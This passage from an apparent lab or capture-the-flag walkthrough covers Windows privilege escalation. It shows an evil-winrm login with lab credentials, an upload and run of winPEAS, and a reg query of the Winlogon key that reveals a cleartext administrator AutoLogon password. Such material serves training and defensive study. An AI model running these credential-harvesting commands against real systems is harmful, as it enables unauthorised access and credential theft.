12. Enumerate Local Privileges and AutoLogon

We're now in the post-exploitation phase with access to the system as sysadmin. Our goal is privilege escalation — gaining full control (Administrator or SYSTEM access).

🔧 Step-by-Step: Run winPEASx64.exe to Find PrivEsc Vectors:

1. 📁 Upload winPEASx64.exe to the target via evil-winrm

From your Kali machine, in the same folder where winPEASx64.exe is saved:

evil-winrm -i 192.168.10.4 -u 'sysadmin' -p 'NewPassword123'

Once inside the shell:

upload winPEASx64.exe

It will upload the file to the current directory (usually C:\Users\sysadmin\).

---

2. 🧠 Run winPEASx64.exe inside the shell

After upload completes, run:

.\winPEASx64.exe

Let it run fully — it will check:

• 🔐 Stored credentials (AutoLogon, saved RDP passwords, etc.)

• ⚙️ Misconfigured services (e.g., unquoted paths)

• 📦 Files with weak permissions

• 🔼 PrivEsc misconfigs (AlwaysInstallElevated, etc.)

---

3. 🔍 Look for These in Output

Pay attention to:

• AutoLogon credentials ➜ cleartext passwords

• AlwaysInstallElevated ➜ lets any user install MSI as SYSTEM

• Unquoted service paths ➜ exploitable services

• Writable services ➜ can hijack a service

• Credential files in registry or config folders

To get AutoLogon Credentials (manually via WinRM)

Once you're inside using evil-winrm:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Look for these keys in the output:

• DefaultUserName

• DefaultPassword ← this is what you want!

• AutoAdminLogon (should be set to 1 if enabled)

  

The AutoLogon password configured for the administrator user is:

d0m@in_c0ntr0ll3r

📌 Found in this registry value:

DefaultUserName    REG_SZ    administrator
DefaultPassword    REG_SZ    d0m@in_c0ntr0ll3r

So the full AutoLogon credentials are:

• Username: administrator

• Password: d0m@in_c0ntr0ll3r

We can now try using these credentials for SMB, WinRM, or any service that accepts domain login.